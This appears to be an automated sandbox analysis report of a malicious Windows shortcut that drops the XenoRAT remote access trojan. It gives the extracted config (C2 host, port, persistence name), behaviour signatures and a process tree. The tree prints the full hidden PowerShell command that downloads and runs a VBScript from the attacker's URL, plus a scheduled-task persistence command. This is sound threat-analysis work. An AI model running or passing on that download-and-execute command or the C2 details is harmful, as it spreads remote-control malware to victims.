Analysis
- max time kernel
140s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
10/12/2024, 03:44
General
- Target ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk
- Size 2KB
- Sample241210-eax4kaxpgk
- SHA256 ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362
Malware Config
Extracted
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ps1
-
exe.dropper
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Extracted
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xenorat
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dns.stipamana.com
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Xeno_rat_nd8912d
-
delay
12000
-
install_path
appdata
-
port
4567
-
startup_name
mrec
Signatures
- Detect XenoRat Payload 1 IoCs
- XenorRat
XenorRat is a remote access trojan written in C#.
- Xenorat family
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file
- Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
- Suspicious Office macro 1 IoCs
Office document equipped with macros.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 8 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 61 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ea254e085f81b5d580391f4fab6ce4c462cd66485e7ef42a49f9f12ab158a362.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass jqbinrdfgfdhozhdfboopntjfmdjtgfd -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"3⤵
- Blocklisted process makes network request
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
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C:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exeC:\Users\Admin\AppData\Roaming\UpdateManager\KKSTV.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB9BB.tmp" /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\KKSTV.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
KKSTV.exe.log
iso690.xsl
__PSScriptPolicyTest_5gg1kuft.ll4.ps1
pafdfgz.vbs
tmpB9BB.tmp
¸¸.doc
KKSTV.exe
memory/1952-104-0x0000000000400000-0x0000000000412000-memory.dmp
memory/3408-123-0x0000000002090000-0x00000000020C4000-memory.dmp
memory/3500-13-0x00007FFC61BE0000-0x00007FFC626A1000-memory.dmp
memory/3500-22-0x00007FFC61BE0000-0x00007FFC626A1000-memory.dmp
memory/3500-21-0x00000193F6690000-0x00000193F68AC000-memory.dmp
memory/3500-14-0x00007FFC61BE0000-0x00007FFC626A1000-memory.dmp
memory/3500-12-0x00000193F6B80000-0x00000193F6BA2000-memory.dmp
memory/3500-2-0x00007FFC61BE3000-0x00007FFC61BE5000-memory.dmp
memory/3900-30-0x00007FFC3D8E0000-0x00007FFC3D8F0000-memory.dmp
memory/3900-24-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp
memory/3900-28-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp
memory/3900-27-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp
memory/3900-29-0x00007FFC3D8E0000-0x00007FFC3D8F0000-memory.dmp
memory/3900-26-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp
memory/3900-25-0x00007FFC3FC90000-0x00007FFC3FCA0000-memory.dmp
memory/4588-99-0x0000000000870000-0x00000000008A4000-memory.dmp
memory/4588-103-0x00000000043C0000-0x00000000043C6000-memory.dmp
memory/4588-102-0x0000000006F00000-0x0000000006F92000-memory.dmp
memory/4588-101-0x0000000007410000-0x00000000079B4000-memory.dmp
memory/4588-100-0x0000000004920000-0x00000000049BC000-memory.dmp
memory/4588-98-0x0000000000840000-0x0000000000846000-memory.dmp
memory/4588-97-0x0000000000050000-0x0000000000080000-memory.dmp